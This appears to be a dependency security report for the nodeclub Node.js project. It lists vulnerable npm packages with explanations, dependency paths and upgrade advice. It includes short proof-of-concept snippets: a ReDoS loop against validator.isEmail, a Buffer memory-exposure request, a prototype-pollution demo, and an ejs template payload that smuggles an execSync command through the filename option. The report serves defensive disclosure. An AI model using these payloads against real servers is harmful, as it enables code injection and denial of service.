validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail
function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = ""
for (var i = 0; i < n; i++) {
ret += "<"
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isEmail(attack_str,{ allow_display_name: true })
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator
to version 13.6.0 or higher.
References
medium severity
- Vulnerable module: ip
- Introduced through: nodemailer@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › nodemailer@2.3.0 › socks@1.1.8 › ip@0.3.3Remediation: Upgrade to nodemailer@2.3.2.
Overview
ip
is an IP address utility for node.js.
Affected versions of the package are vulnerable to Uninitialized Memory Exposure due to an insecure use of the Node.js Buffer class.
Details
The Buffer class in Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed
by using buf.fill(0)
, it may leak sensitive information like keys, source code, and system info.
For more information on the Buffer vulnerability, go to our blog.
Remediation
Upgrade ip
to version 1.1.5 or higher.
Note This is vulnerable only for Node <=4
References
medium severity
- Vulnerable module: tunnel-agent
- Introduced through: request@2.74.0 and jpush-sdk@3.3.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › request@2.74.0 › tunnel-agent@0.4.3Remediation: Upgrade to request@2.81.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › jpush-sdk@3.3.2 › request@2.79.0 › tunnel-agent@0.4.3Remediation: Open PR to patch tunnel-agent@0.4.3.
Overview
tunnel-agent
is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.
A possible memory disclosure vulnerability exists when a value of type number
is used to set the proxy.auth option of a request request
and results in a possible uninitialized memory exposures in the request body.
This is a result of unobstructed use of the Buffer
constructor, whose insecure default constructor increases the odds of memory leakage.
Details
Constructing a Buffer
class with integer N
creates a Buffer
of length N
with raw (not "zero-ed") memory.
In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":
// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');
tunnel-agent
's request
construction uses the default Buffer
constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous Heartbleed
flaw in OpenSSL.
Proof of concept by ChALkeR
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:"127.0.0.1",
port:8080,
auth:80
}
});
You can read more about the insecure Buffer
behavior on our blog.
Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.
Remediation
Upgrade tunnel-agent
to version 0.6.0 or higher.
Note This is vulnerable only for Node <=4
References
medium severity
- Vulnerable module: passport
- Introduced through: passport@0.3.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › passport@0.3.2Remediation: Upgrade to passport@0.6.0.
Overview
passport is a Simple, unobtrusive authentication for Node.js.
Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.
Remediation
Upgrade passport
to version 0.6.0 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: ioredis@1.15.1 and lodash@4.16.2
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1 › lodash@3.10.1Remediation: Upgrade to ioredis@2.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › lodash@4.16.2Remediation: Upgrade to lodash@4.17.11.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash
to version 4.17.11 or higher.
References
medium severity
- Vulnerable module: ioredis
- Introduced through: ioredis@1.15.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ioredis@1.15.1Remediation: Upgrade to ioredis@4.27.8.
Overview
ioredis is a Redis client for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution. The reply transformer which is applied does not check for special field names. This only impacts applications that are directly allowing user-provided field names.
PoC
// Redis server running on localhost
const Redis = require("ioredis");
const client = new Redis();
async function f1() {
await client.hset('test_key', ['__proto__', 'hello']);
console.log('hget:', await client.hget('test_key', '__proto__')); // "hello"
console.log('hgetall:', await client.hgetall('test_key')); // does not include __proto__: hello
}
f1();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ioredis
to version 4.27.8 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs-mate@2.3.0
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › ejs-mate@2.3.0 › ejs@1.0.0Remediation: Upgrade to ejs-mate@4.0.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
Remediation
Upgrade ejs
to version 3.1.6 or higher.
References
low severity
- Vulnerable module: braces
- Introduced through: pm2@1.1.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to pm2@2.10.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › chokidar@1.4.3 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to pm2@2.10.0.
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}
) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 19th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade braces
to version 2.3.1 or higher.
References
low severity
- Vulnerable module: clean-css
- Introduced through: loader-builder@2.4.1
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › loader-builder@2.4.1 › clean-css@3.4.28Remediation: Upgrade to loader-builder@2.6.0.
Overview
clean-css is a fast and efficient CSS optimizer for Node.js platform and any modern browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). attacks. This can cause an impact of about 10 seconds matching time for data 70k characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 20th, 2018 - Initial Response from package owner
- Mar 6th, 2018 - Fix issued
- Mar 7th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade clean-css
to version 4.1.11 or higher.
References
low severity
- Vulnerable module: debug
- Introduced through: body-parser@1.17.1, express@4.15.2 and others
Detailed paths
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › body-parser@1.17.1 › debug@2.6.1Remediation: Upgrade to body-parser@1.18.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › debug@2.6.1Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › debug@2.6.1Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › debug@2.6.1Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › compression@1.6.1 › debug@2.2.0Remediation: Upgrade to compression@1.7.1.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express-session@1.12.1 › debug@2.2.0Remediation: Upgrade to express-session@1.15.6.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › method-override@2.3.5 › debug@2.2.0Remediation: Upgrade to method-override@2.3.10.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › debug@2.2.0Remediation: Upgrade to pm2@2.1.6.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › debug@2.2.0Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › helmet@1.3.0 › connect@3.4.1 › debug@2.2.0Remediation: Upgrade to helmet@3.8.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › mquery@1.10.0 › debug@2.2.0Remediation: Upgrade to mongoose@4.11.14.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › pm2-axon@2.0.11 › debug@2.2.0Remediation: Upgrade to pm2@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › urllib@2.5.0 › debug@2.2.0Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › helmet@1.3.0 › connect@3.4.1 › finalhandler@0.4.1 › debug@2.2.0Remediation: Upgrade to helmet@3.8.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › eventproxy@0.3.4 › debug@2.1.3Remediation: Upgrade to eventproxy@1.0.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › body-parser@1.17.1 › debug@2.6.1Remediation: Upgrade to body-parser@1.18.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › debug@2.6.1Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › send@0.15.1 › debug@2.6.1Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express@4.15.2 › serve-static@1.12.1 › send@0.15.1 › debug@2.6.1Remediation: Upgrade to express@4.15.5.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › compression@1.6.1 › debug@2.2.0Remediation: Upgrade to compression@1.7.1.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › express-session@1.12.1 › debug@2.2.0Remediation: Upgrade to express-session@1.15.6.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › method-override@2.3.5 › debug@2.2.0Remediation: Upgrade to method-override@2.3.10.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › debug@2.2.0Remediation: Upgrade to pm2@2.1.6.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › debug@2.2.0Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › helmet@1.3.0 › connect@3.4.1 › debug@2.2.0Remediation: Upgrade to helmet@3.8.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › mongoose@4.4.9 › mquery@1.10.0 › debug@2.2.0Remediation: Upgrade to mongoose@4.11.14.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › pm2@1.1.1 › pm2-axon@2.0.11 › debug@2.2.0Remediation: Upgrade to pm2@2.7.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › qn@1.1.1 › urllib@2.5.0 › debug@2.2.0Remediation: Upgrade to qn@1.3.0.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › helmet@1.3.0 › connect@3.4.1 › finalhandler@0.4.1 › debug@2.2.0Remediation: Upgrade to helmet@3.8.2.
-
Introduced through: nodeclub@cnodejs/nodeclub#f1f359192395aef481cd2985b32a86fdf75bb2a1 › eventproxy@0.3.4 › debug@2.1.3Remediation: Upgrade to eventproxy@1.0.0.
Overview
debug is a small debugging utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the function useColors
via manipulation of the str
argument.
The vulnerability can cause a very low impact of about 2 seconds of matching time for data 50k characters long.
Note: CVE-2017-20165 is a duplicate of this vulnerability.
PoC
Use the following regex in the %o
formatter.
/\s*\n\s*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
